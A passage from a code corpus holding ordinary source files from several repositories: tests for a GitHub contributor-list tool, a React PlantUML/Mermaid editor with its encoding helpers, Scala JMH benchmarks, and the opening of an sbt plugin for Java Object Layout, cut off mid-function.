return stubs[requestName];
}
return originalLoad(requestName, parent, isMain);
};
delete require.cache[require.resolve(modulePath)];
try {
return require(modulePath);
} finally {
Module._load = originalLoad;
}
};
describe('git-contributor', () => {
afterEach(() => {
delete process.env.OAUTH_TOKEN;
});
it('gets authors from package repository url', async () => {
const cwd = makeTempDir();
const pkgPath = path.join(cwd, 'package.json');
fs.writeFileSync(pkgPath, JSON.stringify({
repository: {
url: 'git@github.com:foo/bar.git'
}
}));
process.env.OAUTH_TOKEN = 'token-123';
const request = async (uri, options) => {
assert.equal(options.headers.Authorization, 'token token-123');
assert.equal(/\/contributors\?per_page=100$/.test(uri), true);
return {
data: [
{
login: 'alpha',
avatar_url: 'avatar-a',
html_url: 'html-a',
extra: 'ignored'
}
]
};
};
const contributor = loadContributor({
request,
isExistedFile: filePath => filePath === pkgPath,
isExistedDir: () => false
});
const list = await contributor.getAuthor({ cwd });
assert.deepEqual(list, [
{
login: 'alpha',
avatar_url: 'avatar-a',
html_url: 'html-a'
}
]);
});
it('gets authors from provided repo url when package is missing', async () => {
const request = async (uri) => {
assert.equal(/https:\/\/api.github.com\/repos\/foo\/bar\/contributors/.test(uri), true);
return {
data: [
{
login: 'beta',
avatar_url: 'avatar-b',
html_url: 'html-b'
}
]
};
};
const contributor = loadContributor({
request,
isExistedFile: () => false,
isExistedDir: () => false
});
const list = await contributor.getAuthor({
cwd: makeTempDir(),
url: 'https://github.com/foo/bar'
});
assert.deepEqual(list, [
{
login: 'beta',
avatar_url: 'avatar-b',
html_url: 'html-b'
}
]);
});
it('returns empty list when package parsing fails and .git is missing', async () => {
const cwd = makeTempDir();
const pkgPath = path.join(cwd, 'package.json');
fs.writeFileSync(pkgPath, '{invalid json');
const contributor = loadContributor({
isExistedFile: filePath => filePath === pkgPath,
isExistedDir: () => false
});
const list = await contributor.getAuthor({ cwd });
assert.deepEqual(list, []);
});
it('falls back to git log and search api', async () => {
process.env.OAUTH_TOKEN = 'token-456';
const execSync = () => Buffer.from([
'Alice <alice@example.com>',
'Bob <bob@example.com>',
'Alice <alice@example.com>',
''
].join('\n'));
const request = async (uri, options) => {
assert.equal(options.headers.Authorization, 'token token-456');
const query = decodeURIComponent(uri.split('q=')[1]);
const email = query.split(' ')[0].replace(/[<>]/g, '');
if (email === 'alice@example.com') {
return {
data: {
total_count: 1,
items: [
{
login: 'alice',
avatar_url: 'avatar-a',
html_url: 'html-a'
}
]
}
};
}
return { data: { total_count: 0, items: [] } };
};
const contributor = loadContributor({
execSync,
request,
isExistedFile: () => false,
isExistedDir: () => true
});
const list = await contributor.getAuthor({ cwd: makeTempDir() });
assert.deepEqual(list, [
{
login: 'alice',
avatar_url: 'avatar-a',
html_url: 'html-a'
}
]);
});
it('falls back to git log without auth token', async () => {
const execSync = () => Buffer.from([
'Nova <nova@example.com>'
].join('\n'));
const request = async (uri, options) => {
assert.equal(Object.prototype.hasOwnProperty.call(options.headers, 'Authorization'), false);
const query = decodeURIComponent(uri.split('q=')[1]);
const email = query.split(' ')[0].replace(/[<>]/g, '');
assert.equal(email, 'nova@example.com');
return {
data: {
total_count: 1,
items: [
{
login: 'nova',
avatar_url: 'avatar-n',
html_url: 'html-n'
}
]
}
};
};
const contributor = loadContributor({
execSync,
request,
isExistedFile: () => false,
isExistedDir: () => true
});
const list = await contributor.getAuthor();
assert.deepEqual(list, [
{
login: 'nova',
avatar_url: 'avatar-n',
html_url: 'html-n'
}
]);
});
it('deduplicates authors when using owners file', async () => {
const cwd = makeTempDir();
const ownersPath = path.join(cwd, 'owners.txt');
// Create owners file with a user that will also be returned by API
fs.writeFileSync(ownersPath, 'alpha\nbeta\n');
const request = async (uri) => {
return {
data: [
{
login: 'alpha', // This user is in both API and owners file
avatar_url: 'avatar-a-api',
html_url: 'html-a'
},
{
login: 'gamma',
avatar_url: 'avatar-g',
html_url: 'html-g'
}
]
};
};
const contributor = loadContributor({
request,
isExistedFile: filePath => filePath === ownersPath,
isExistedDir: () => false
});
const list = await contributor.getAuthor({
cwd,
url: 'https://github.com/foo/bar',
owners: 'owners.txt'
});
// Should have 3 users with owners taking priority
// alpha should appear only once (not duplicated)
// Order: owners first (alpha, beta), then contributors not in owners (gamma)
assert.equal(list.length, 3);
assert.deepEqual(list, [
{
login: 'alpha',
avatar_url: 'https://avatars.githubusercontent.com/alpha?v=4', // Should keep owners version
html_url: 'https://github.com/alpha'
},
{
login: 'beta',
avatar_url: 'https://avatars.githubusercontent.com/beta?v=4',
html_url: 'https://github.com/beta'
},
{
login: 'gamma',
avatar_url: 'avatar-g',
html_url: 'html-g'
}
]);
});
it('filters out bot users', async () => {
const request = async (uri) => {
return {
data: [
{
login: 'realuser',
avatar_url: 'avatar-r',
html_url: 'html-r'
},
{
login: 'github-actions[bot]',
avatar_url: 'avatar-bot1',
html_url: 'html-bot1'
},
{
login: 'dependabot[bot]',
avatar_url: 'avatar-bot2',
html_url: 'html-bot2'
},
{
login: 'renovate[bot]',
avatar_url: 'avatar-bot3',
html_url: 'html-bot3'
},
{
login: 'anotheruser',
avatar_url: 'avatar-a',
html_url: 'html-a'
}
]
};
};
const contributor = loadContributor({
request,
isExistedFile: () => false,
isExistedDir: () => false
});
const list = await contributor.getAuthor({
cwd: makeTempDir(),
url: 'https://github.com/foo/bar'
});
// Should only have real users, bot users filtered out
assert.equal(list.length, 2);
assert.deepEqual(list, [
{
login: 'realuser',
avatar_url: 'avatar-r',
html_url: 'html-r'
},
{
login: 'anotheruser',
avatar_url: 'avatar-a',
html_url: 'html-a'
}
]);
});
it('generates markdown for english and chinese content', () => {
const contributor = loadContributor();
const list = [
{ login: 'a', avatar_url: 'u1', html_url: 'h1' },
{ login: 'b', avatar_url: 'u2', html_url: 'h2' },
{ login: 'c', avatar_url: 'u3', html_url: 'h3' },
{ login: 'd', avatar_url: 'u4', html_url: 'h4' },
{ login: 'e', avatar_url: 'u5', html_url: 'h5' },
{ login: 'f', avatar_url: 'u6', html_url: 'h6' },
{ login: 'g', avatar_url: 'u7', html_url: 'h7' },
{ login: 'h', avatar_url: 'u8', html_url: 'h8' },
{ login: 'i', avatar_url: 'u9', html_url: 'h9' },
{ login: 'j', avatar_url: 'u10', html_url: 'h10' },
{ login: 'k', avatar_url: 'u11', html_url: 'h11' },
{ login: 'l', avatar_url: 'u12', html_url: 'h12' },
{ login: 'm', avatar_url: 'u13', html_url: 'h13' },
{ login: 'n', avatar_url: 'u14', html_url: 'h14' }
];
const zh = contributor.genMarkDown(list.slice(), '这是中文内容用于判断。');
assert.equal(/## 贡献者/.test(zh.content), true);
assert.equal(/git-contributor 说明/.test(zh.content), true);
assert.equal(/GITCONTRIBUTOR_START/.test(zh.content), true);
assert.equal(/GITCONTRIBUTOR_END/.test(zh.content), true);
assert.equal((zh.content.match(/img src/g) || []).length > 12, true);
const en = contributor.genMarkDown(list.slice(0, 1), 'English readme');
assert.equal(/## Contributors/.test(en.content), true);
assert.equal(/auto updated/.test(en.content), true);
});
});
| xudafeng/git-contributor | 23 | :octocat: Welcome to join in and feel free to contribute. | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox |
editor/mermaid.js | JavaScript | 'use strict';
import React from 'react';
import mermaid from 'mermaid';
import ReactDOM from 'react-dom';
import ForkmeonComponent from 'forkmeon.github.io';
import './mermaid.less';
import _ from './utils';
import pkg from '../package';
mermaid.initialize({
theme: 'forest',
gantt: {
axisFormatter: [
[
'%Y-%m-%d', (d) => {
return d.getDay() === 1;
}
]
]
}
});
window.mermaid = mermaid;
const data = _.getHashData();
class Page extends React.Component {
constructor(props) {
super(props);
this.state = {
text: data ? _.decode(data) : `
gantt
title A Gantt Diagram
dateFormat YYYY-MM-DD
section Section
A task :a1, 2017-01-01, 5d
B task :after a1, 2d
`
};
}
textareaOnChange(e) {
this.setState({
text: e.target.value
});
}
getEncoded() {
const encoded = _.encode(this.state.text);
const str = `#data=${encoded}`;
history.replaceState({}, document.title, str);
}
getForkmeonProps() {
return {
classPrefix: pkg.name,
fixed: true,
text: 'Fork me on Github',
linkUrl: pkg.repository.url,
onDemoUpdateDid: () => {},
flat: true
};
}
render() {
this.getEncoded();
return (
<div className="container">
<ForkmeonComponent {...this.getForkmeonProps()}/>
<textarea onChange={this.textareaOnChange.bind(this)} value={this.state.text}></textarea>
<p className="links">
<a href="https://mermaidjs.github.io">document</a>
</p>
<div className="mermaid">{this.state.text}</div>
</div>
);
}
}
ReactDOM.render(<Page />, document.querySelector('#app'));
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/mermaid.less | LESS | html,
body {
padding: 0;
margin: 0;
overflow-x: hidden;
}
.container {
font-family: Lato, "Helvetica Neue For Number", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Helvetica Neue", Helvetica, Arial, sans-serif;
text-align: center;
margin-top: 20px;
textarea {
width: 90%;
min-height: 300px;
}
.links {
width: 100%;
text-align: right;
a {
margin-right: 5%;
}
}
}
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/plantuml.js | JavaScript | 'use strict';
import React from 'react';
import ReactDOM from 'react-dom';
import ForkmeonComponent from 'forkmeon.github.io';
import './plantuml.less';
import _ from './utils';
import pkg from '../package';
const data = _.getHashData();
class Page extends React.Component {
constructor(props) {
super(props);
this.state = {
text: data ? _.decode(data) : `class ${pkg.name.toUpperCase()}`
};
}
textareaOnChange(e) {
this.setState({
text: e.target.value
});
}
getEncoded() {
const encoded = _.encode(this.state.text);
const str = `#data=${encoded}`;
history.replaceState({}, document.title, str);
return encoded;
}
getForkmeonProps() {
return {
classPrefix: pkg.name,
fixed: true,
text: 'Fork me on Github',
linkUrl: pkg.repository.url,
onDemoUpdateDid: () => {},
flat: true
};
}
render() {
return (
<div className="container">
<ForkmeonComponent {...this.getForkmeonProps()}/>
<textarea onChange={this.textareaOnChange.bind(this)} value={this.state.text}></textarea>
<p className="links">
<a href="http://plantuml.com/">document</a>
</p>
<div>
<img src={`http://www.plantuml.com/plantuml/svg/${this.getEncoded()}`} />
</div>
</div>
);
}
}
ReactDOM.render(<Page />, document.querySelector('#app'));
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/plantuml.less | LESS | html,
body {
padding: 0;
margin: 0;
overflow-x: hidden;
}
.container {
font-family: Lato, "Helvetica Neue For Number", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Helvetica Neue", Helvetica, Arial, sans-serif;
text-align: center;
margin-top: 20px;
textarea {
width: 90%;
min-height: 300px;
}
.links {
width: 100%;
text-align: right;
a {
margin-right: 5%;
}
}
}
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
editor/utils.js | JavaScript | 'use strict';
const utf8bytes = require('utf8-bytes');
const pakoDeflate = require('pako/lib/deflate.js');
const pakoInflate = require('pako/lib/inflate.js');
const encode64 = require('../lib/encode64');
const decode64 = require('../lib/decode64');
const Utf8ArrayToStr = require('../lib/utf8arraytostring');
exports.encode = text => {
const data = utf8bytes(text);
const deflated = pakoDeflate.deflate(data, {
level: 9,
to: 'string',
raw: true
});
return encode64(deflated);
};
exports.decode = text => {
var t = decode64(text);
var inflated = pakoInflate.inflate(t, {
raw: true
});
return Utf8ArrayToStr(inflated);
};
exports.getHashData = () => {
var hash = location.hash;
return hash.split('#data=')[1];
};
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/decode64.js | JavaScript | 'use strict';
// Reverse of
// http://plantuml.sourceforge.net/codejavascript2.html
// It is described as being "a transformation close to base64"
// The code has been slightly modified to pass linters
function decode6bit (cc) {
var c = cc.charCodeAt(0);
if (cc === '_') return 63;
if (cc === '-') return 62;
if (c >= 97) return c - 61; // - 97 + 26 + 10
if (c >= 65) return c - 55; // - 65 + 10
if (c >= 48) return c - 48;
return '?';
}
function extract3bytes (data) {
var c1 = decode6bit(data[0]);
var c2 = decode6bit(data[1]);
var c3 = decode6bit(data[2]);
var c4 = decode6bit(data[3]);
var b1 = c1 << 2 | (c2 >> 4) & 0x3F;
var b2 = (c2 << 4) & 0xF0 | (c3 >> 2) & 0xF;
var b3 = (c3 << 6) & 0xC0 | c4 & 0x3F;
return [b1, b2, b3];
}
module.exports = function (data) {
var r = '';
var i = 0;
for (i = 0; i < data.length; i += 4) {
var t = extract3bytes(data.substring(i, i + 4));
r = r + String.fromCharCode(t[0]);
r = r + String.fromCharCode(t[1]);
r = r + String.fromCharCode(t[2]);
}
return r;
};
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/encode64.js | JavaScript | 'use strict';
// Encode code taken from the PlantUML website:
// http://plantuml.sourceforge.net/codejavascript2.html
// It is described as being "a transformation close to base64"
// The code has been slightly modified to pass linters
function encode6bit (b) {
if (b < 10) {
return String.fromCharCode(48 + b);
}
b -= 10;
if (b < 26) {
return String.fromCharCode(65 + b);
}
b -= 26;
if (b < 26) {
return String.fromCharCode(97 + b);
}
b -= 26;
if (b === 0) {
return '-';
}
if (b === 1) {
return '_';
}
return '?';
}
function append3bytes (b1, b2, b3) {
var c1 = b1 >> 2;
var c2 = ((b1 & 0x3) << 4) | (b2 >> 4);
var c3 = ((b2 & 0xF) << 2) | (b3 >> 6);
var c4 = b3 & 0x3F;
var r = '';
r += encode6bit(c1 & 0x3F);
r += encode6bit(c2 & 0x3F);
r += encode6bit(c3 & 0x3F);
r += encode6bit(c4 & 0x3F);
return r;
}
module.exports = function (data) {
var r = '';
for (var i = 0; i < data.length; i += 3) {
if (i + 2 === data.length) {
r += append3bytes(data.charCodeAt(i), data.charCodeAt(i + 1), 0);
} else if (i + 1 === data.length) {
r += append3bytes(data.charCodeAt(i), 0, 0);
} else {
r += append3bytes(data.charCodeAt(i),
data.charCodeAt(i + 1),
data.charCodeAt(i + 2));
}
}
return r;
};
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/plotjs.js | JavaScript | 'use strict';
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
lib/utf8arraytostring.js | JavaScript | 'use strict';
// http://www.onicos.com/staff/iz/amuse/javascript/expert/utf.txt
/* utf.js - UTF-8 <=> UTF-16 convertion
*
* Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp>
* Version: 1.0
* LastModified: Dec 25 1999
* This library is free. You can redistribute it and/or modify it.
*/
module.exports = function (array) {
var out, i, len, c;
var char2, char3;
out = '';
len = array.length;
i = 0;
while (i < len) {
c = array[i++];
switch (c >> 4) {
case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7:
// 0xxxxxxx
out += String.fromCharCode(c);
break;
case 12: case 13:
// 110x xxxx 10xx xxxx
char2 = array[i++];
out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
break;
case 14:
// 1110 xxxx 10xx xxxx 10xx xxxx
char2 = array[i++];
char3 = array[i++];
out += String.fromCharCode(((c & 0x0F) << 12) |
((char2 & 0x3F) << 6) |
((char3 & 0x3F) << 0));
break;
}
}
return out;
};
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
mermaid.html | HTML | <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
<title>umlplot</title>
<base target="_blank"/>
</head>
<body>
<div id="app">
<script>
var isOnline = !!~location.host.indexOf('github');
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = (isOnline ? '//unpkg.com/umlplot@latest' : '.') + '/dist/mermaid.js';
var head = document.getElementsByTagName('head')[0];
head.appendChild(script);
</script>
</div>
</body>
</html>
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
plantuml.html | HTML | <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
<title>umlplot</title>
<base target="_blank"/>
</head>
<body>
<div id="app">
<script>
var isOnline = !!~location.host.indexOf('github');
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = (isOnline ? '//unpkg.com/umlplot@latest' : '.') + '/dist/plantuml.js';
var head = document.getElementsByTagName('head')[0];
head.appendChild(script);
</script>
</div>
</body>
</html>
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
test/helper.js | JavaScript | 'use strict';
import {
opn,
platform,
isExistedFile,
uuid,
mkdir
} from 'xutil';
import path from 'path';
import wd from 'macaca-wd';
import {
appendToContext
} from 'macaca-reporter';
import Coverage from 'macaca-coverage';
const {
collector,
Reporter
} = Coverage({
runtime: 'web'
});
const cwd = process.cwd();
wd.addPromiseChainMethod('initWindow', function (options = {}) {
return this
.init(Object.assign({
platformName: 'desktop',
browserName: 'electron',
deviceScaleFactor: 2
}, options))
.setWindowSize(options.width, options.height);
});
wd.addPromiseChainMethod('getUrl', function (url) {
return this
.get(url)
.execute('return location.protocol')
.then(protocol => {
if (protocol !== 'http:') {
return new Promise(resolve => {
const handle = () => {
setTimeout(() => {
this
.get(url)
.execute('return location.protocol')
.then(protocol => {
if (protocol === 'http:') {
resolve();
} else {
handle();
}
});
}, 1000);
};
handle();
});
}
});
});
wd.addPromiseChainMethod('saveScreenshots', function (context) {
const filepath = path.join(cwd, 'screenshots', `${uuid()}.png`);
const reportspath = path.join(cwd, 'reports');
mkdir(path.dirname(filepath));
return this
.saveScreenshot(filepath)
.then(() => {
appendToContext(context, `${path.relative(reportspath, filepath)}`);
});
});
wd.addPromiseChainMethod('coverage', function (context) {
const coverageHtml = path.join(cwd, 'coverage', 'index.html');
return this
.execute('return window.__coverage__')
.then(__coverage__ => {
if (!__coverage__) {
return this
.execute('return location.href')
.then(url => {
console.log(`>> coverage failed: ${url}`);
});
}
const reporter = new Reporter();
collector.add(__coverage__);
reporter.addAll([
'html',
'lcov'
]);
return new Promise(resolve => {
reporter.write(collector, true, () => {
console.log(`>> coverage: ${coverageHtml}`);
resolve('ok');
});
});
})
.catch(e => {
console.log(e);
});
});
wd.addPromiseChainMethod('openReporter', function (open) {
if (!open || !platform.isOSX) {
return this;
}
const file1 = path.join(cwd, 'reports', 'index.html');
const file2 = path.join(cwd, 'coverage', 'index.html');
if (isExistedFile(file1)) {
opn(file1);
}
if (isExistedFile(file2)) {
opn(file2);
}
return this;
});
export const driver = wd.promiseChainRemote({
host: 'localhost',
port: process.env.MACACA_SERVER_PORT || 3456
});
const webpackDevServerPort = 8080;
export const BASE_URL = `http://127.0.0.1:${webpackDevServerPort}`;
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
test/plotjs.test.js | JavaScript | 'use strict';
import {
driver,
BASE_URL
} from './helper';
describe('test/umlplot.test.js', () => {
describe('page func testing', () => {
before(() => {
return driver
.initWindow({
width: 800,
height: 600,
deviceScaleFactor: 2
});
});
afterEach(function () {
return driver
.coverage()
.saveScreenshots(this);
});
after(() => {
return driver
.openReporter(false)
.quit();
});
it('plantuml render should be ok', () => {
return driver
.getUrl(`${BASE_URL}/plantuml.html?data=Iyv9B2vM2F3n3_4A1W00`)
.sleep(1000);
});
it('mermaid render should be ok', () => {
return driver
.getUrl(`${BASE_URL}/mermaid.html?data=urA0WlJ4l98IBXYl9BCa9rN1KS4T9AhWafcONfIO2vTDIIn9TSiloaqiKL28109TNrzT5nUuT75gSabcVfv2C8I6Ypigb2GMPojO9HhgA1WP69hh6XW2aOw2QGfSYHDCILf9Qf42M25C4W00`)
.sleep(1000);
});
});
});
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
webpack.config.js | JavaScript | 'use strict';
const path = require('path');
const pkg = require('./package');
const isProduction = process.env.NODE_ENV === 'production';
const config = {
entry: {
plantuml: path.resolve('editor', 'plantuml'),
mermaid: path.resolve('editor', 'mermaid'),
},
output: {
path: path.join(__dirname, 'dist'),
publicPath: '/dist',
filename: '[name].js'
},
module: {
loaders: [
{
test: /\.js?/,
loader: 'babel-loader',
exclude: /node_modules/
}, {
test: /\.json$/,
loader: 'json-loader',
exclude: /node_modules/
},{
test:/\.less$/,
loader:"style-loader!css-loader!less-loader"
},
]
}
};
module.exports = config;
| xudafeng/umlplot | 2 | JavaScript | xudafeng | 达峰的夏天 | macacajs nodejs codefuse-ai antgroup weavefox | |
src/main/scala/example/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
import org.openjdk.jmh.annotations.Param
import org.openjdk.jmh.annotations.State
import org.openjdk.jmh.annotations.Scope
import org.openjdk.jmh.annotations.Setup
import scala.annotation.threadUnsafe
@State(Scope.Benchmark)
class Main {
@Param(Array("10", "100", "1000", "10000"))
var size: Int = 0
var a1: Array[Byte] = compiletime.uninitialized
var a2: Array[Byte] = compiletime.uninitialized
@Setup
def setup(): Unit = {
a1 = new Array[Byte](size)
scala.util.Random.nextBytes(a1)
a2 = a1.clone().dropRight(1)
}
@Benchmark
def new_impl: Boolean = {
import Main.newStartsWith
val x = a1.newStartsWith(a2)
assert(x)
x
}
@Benchmark
def old_impl: Boolean = {
val x = a1.startsWith(a2)
assert(x)
x
}
}
object Main {
extension [A](xs: Array[A]) {
def newStartsWith[B >: A](that: Array[B], offset: Int = 0): Boolean = {
val safeOffset = offset.max(0)
val thatl = that.length
if (thatl > xs.length - safeOffset) {
thatl == 0
} else if (offset >= 0 && xs.length < offset) {
(xs, that) match {
case (x: Array[Int], y: Array[Int]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Double], y: Array[Double]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Long], y: Array[Long]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Float], y: Array[Float]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Char], y: Array[Char]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Byte], y: Array[Byte]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Short], y: Array[Short]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case (x: Array[Boolean], y: Array[Boolean]) =>
java.util.Arrays.mismatch(x, offset, x.length, y, 0, y.length) == y.length
case _ =>
// TODO
???
}
} else {
var i = 0
while (i < thatl) {
if (xs(i + safeOffset) != that(i)) return false
i += 1
}
true
}
}
}
}
| xuwei-k/Array-startsWith-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/test/scala/example/StartsWithTest.scala | Scala | package example
import org.scalacheck.*
import example.Main.newStartsWith
object StartsWithTest extends Properties("test") {
override def overrideParameters(p: Test.Parameters): Test.Parameters = {
p.withMinSuccessfulTests(1000000)
}
property("a") = Prop.forAllNoShrink { (a1: List[Int], a2: List[Int], i: Byte) =>
try {
a1.toArray.newStartsWith(a2.toArray, i) == a1.toArray.startsWith(a2.toArray, i)
} catch {
case e: Throwable =>
e.printStackTrace()
throw e
}
}
} | xuwei-k/Array-startsWith-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/example/JavaClass.java | Java | package example;
import java.util.concurrent.TimeUnit;
public final class JavaClass {
public static int test(Object t) {
return switch (t) {
case TimeUnit.NANOSECONDS -> 1;
case TimeUnit.MICROSECONDS -> 2;
case TimeUnit.MILLISECONDS -> 3;
case TimeUnit.SECONDS -> 4;
case TimeUnit.MINUTES -> 5;
default -> -1;
};
}
}
| xuwei-k/constant-dynamic-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/example/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.{Benchmark, Scope, Setup, State}
import java.util.concurrent.TimeUnit
@State(Scope.Benchmark)
class Main {
var values: Seq[TimeUnit] = null
@Setup
def setup(): Unit = {
values = TimeUnit.values().toSeq
}
@Benchmark
def testScala(): Unit = {
values.foreach(ScalaClass.test)
}
@Benchmark
def testJava(): Unit = {
values.foreach(JavaClass.test)
}
}
| xuwei-k/constant-dynamic-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/example/ScalaClass.scala | Scala | package example
import java.util.concurrent.TimeUnit
object ScalaClass {
def test(t: AnyRef): Int = t match {
case TimeUnit.NANOSECONDS => 1
case TimeUnit.MICROSECONDS => 2
case TimeUnit.MILLISECONDS => 3
case TimeUnit.SECONDS => 4
case TimeUnit.MINUTES => 5
case _ => -1
}
}
| xuwei-k/constant-dynamic-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/A.scala | Scala | package example
final class A(val value: Int) extends AnyVal {
def add(n: Int): A = A(value + n)
}
| xuwei-k/opaque-type-and-value-class | 1 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/B.scala | Scala | package example
opaque type B = Int
object B {
def apply(value: Int): B = value
extension (self: B) {
def value: Int = self
def add(n: Int): B = self + n
}
}
| xuwei-k/opaque-type-and-value-class | 1 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
object Main {
val size = 100_000
val valuesA: Seq[A] = (1 to size).map(A(_))
val valuesB: Seq[B] = (1 to size).map(B(_))
}
class Main {
@Benchmark
def value_class: Seq[A] = {
Main.valuesA.map(_.add(1))
}
@Benchmark
def opaque_type: Seq[B] = {
Main.valuesB.map(_.add(1))
}
}
| xuwei-k/opaque-type-and-value-class | 1 | Scala | xuwei-k | kenji yoshida | ||
sbt-jol/src/main/scala-2/sbtjol/JolPluginCompat.scala | Scala | package sbtjol
import java.io.File
private[sbtjol] object JolPluginCompat {
def classpathToFiles(classpath: sbt.Keys.Classpath): Seq[File] =
classpath.map(_.data)
}
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/main/scala-3/sbtjol/JolPluginCompat.scala | Scala | package sbtjol
import java.io.File
private[sbtjol] object JolPluginCompat {
inline def classpathToFiles(classpath: sbt.Keys.Classpath): Seq[File] = {
val converter = sbt.Keys.fileConverter.value
classpath.map(x => converter.toPath(x.data).toFile)
}
}
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/main/scala/sbtjol/JolPlugin.scala | Scala | package sbtjol
import lmcoursier.internal.shaded.coursier
import org.openjdk.jol.vm.VM
import sbt.*
import sbt.CacheImplicits.*
import sbt.Def.Initialize
import sbt.Keys.*
import sbt.complete.DefaultParsers
import sbt.complete.Parser
import xsbt.api.Discovery
import xsbti.compile.CompileAnalysis
object JolPlugin extends sbt.AutoPlugin {
import autoImport.*
override def requires = sbt.plugins.JvmPlugin
override def trigger = allRequirements
override def projectSettings: Seq[Def.Setting[?]] = Seq(
Jol / run := runJolTask(Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
Jol / version := SbtJolBuildInfo.jolVersion,
Jol / vmDetails := runVmDetailsTask().evaluated,
Jol / estimates := runJolTask("estimates", Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
Jol / externals := runJolTask("externals", Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
Jol / footprint := runJolTask("footprint", Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
Jol / heapdump := runJolTask("heapdump", Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
Jol / idealpack := runJolTask("idealpack", Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
Jol / internals := runJolTask("internals", Compile / fullClasspath).dependsOn(Compile / compile).evaluated,
// TODO: stringCompress in jol <<= runJolTask("string-compress", Compile / fullClasspath).dependsOn(Compile / compile),
Jol / discoveredClasses := Seq.empty,
// TODO tab auto-completion break if use `:=` and `.value`
// https://github.com/sbt/sbt/issues/1444
// `<<=` operator is removed. Use `key
Jol / discoveredClasses := (Compile / compile)
.map(discoverAllClasses)
.storeAs(Jol / discoveredClasses)
.triggeredBy(Compile / compile)
.value
)
private def runJolTask(classpath: Initialize[Task[Classpath]]): Initialize[InputTask[Unit]] = {
val parser = loadForParser(Jol / discoveredClasses)((s, names) => runJolModesParser(s, modes, names getOrElse Nil))
Def.inputTask {
val (mode, className, args) = parser.parsed
runJol(
streams.value.log,
(Jol / version).value,
JolPluginCompat.classpathToFiles(classpath.value),
mode :: className :: args.toList,
(Jol / forkOptions).value
)
}
}
private def runJolTask(mode: String, classpath: Initialize[Task[Classpath]]): Initialize[InputTask[Unit]] = {
val parser = loadForParser(Jol / discoveredClasses)((s, names) => runJolParser(s, names getOrElse Nil))
Def.inputTask {
val (className, args) = parser.parsed
runJol(
streams.value.log,
(Jol / version).value,
JolPluginCompat.classpathToFiles(classpath.value),
mode :: className :: args.toList,
(Jol / forkOptions).value
)
}
}
private def runJol(
log: Logger,
